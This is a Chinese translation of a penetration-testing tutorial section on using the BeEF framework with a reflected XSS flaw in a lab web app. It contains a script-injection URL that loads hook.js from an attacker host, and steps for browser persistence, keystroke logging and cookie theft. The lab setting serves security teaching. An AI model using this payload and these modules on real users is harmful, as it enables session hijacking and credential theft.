翻译来自:掣雷小组
成员信息:
thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt
标记红色的部分为今日更新内容。
第五章、使用跨站脚本攻击客户端
5.0、介绍
5.1、使用浏览器绕过客户端控制
5.2、识别跨站脚本漏洞
5.3、利用XSS获取Cookie
5.4、利用DOM XSS
5.5、利用BeEF执行xss攻击
5.6、从Web存储中提取信息
5.7、使用ZAP测试WebSokets
5.8、使用XSS和Metasploit获取远程shell
5.5、利用BeEF执行xss攻击
BeEF,全称The BrowserExploitation Framework(浏览器攻击框架),是一款针对web浏览器的渗透测试工具。
在这个小节中,我们将演示利用XSS漏洞和BeEF框架控制目标浏览器。
环境准备
在开始之前,我们需要确保已经启动了BeEF服务,默认管理页面的url是:
http://127.0.0.1:3000/ui/panel(默认账号密码为BeEF /BeEF)。
1. 在kali linux中默认的BeEF的服务是不起作用的,所以不能以beef-xss这样简单的方式来启动BeEF。我们需要从安装它的目录下启动它,如下图所示:
l cd/usr/share/beef-xss/
l ./beef
2. 现在,浏览器打开http://127.0.0.1:3000/ui/panel并使用默认账户名密码(beef/beef)。如果成功打开,那我们就准备进行下一步。
实战演练
BeEF需要目标浏览器调用hook.js文件,它能让浏览器挂钩到我们的BeEF服务器,另外我们将利用一个易受XSS攻击的应用程序,让目标用户调用它:
1. 想象你是受害者,你收到了一封包含xss链接的电子邮件,若你点击它,访问了该链接:
http://192.168.56.11/bodgeit/search.jsp?q=<scriptsrc="http://192.168.56.10:3000/hook.js"> </script>
2. 现在,在BeEF面板中,攻击者将看到一个浏览器上线:
3. 如果我们在浏览器中查看Logs选项卡,我们可以看到BeEF存储了用户在浏览器窗口中执行的操作的信息,比如输入和单击,如下图所示:
4. 在浏览器被hook.js文件挂钩之后,目标用户在被域中导航攻击时,攻击者最好要让会话变为持久性的。下一步转到攻击者浏览器中的Commands选项卡,进入模块目录,转到浏览器中的Persistence | Man-In-The-Browser,然后单击Execute执行他。
5. 模块执行后,在模块的历史记录中选择相关命令,检查结果如下:
6. 攻击者还可以使用BeEF在受害者浏览器中执行命令。例如,在模块目录中,到Browser | Get Cookie,点击Execute来获取用户的Cookie:
原理剖析
在此小节中,我们使用script标记中的src属性来调用外部JavaScript文件。在这个例子中,我们是调用了BeEF服务器的钩子。
这个hook.js文件与服务器通信,执行命令,并返回响应,以便攻击者可以看到;它不会在客户端浏览器中打印任何内容,因此受害者通常不会知道他的浏览器已经被劫持。
在让受害者执行钩子脚本之后,我们使用浏览器中的持久化模块Man-in-the-Browser,让浏览器在每次用户单击到相同域的链接时执行AJAX请求,以便该请求保留钩子并加载新页面。
我们还看到,BeEF的日志记录了用户在页面上执行的每个操作,我们可以从中获得用户名和密码。还可以远程获取会话cookie,这可能允许攻击者劫持受害者的会话。
模块左边的彩色圆圈表示模块的可用性和可见性:绿色模块为受害浏览器正在工作,用户不应该看到它;橙色表示模块可以工作,但用户会注意到它或必须与它交互;灰色表示模块在该浏览器中还没有经过测试;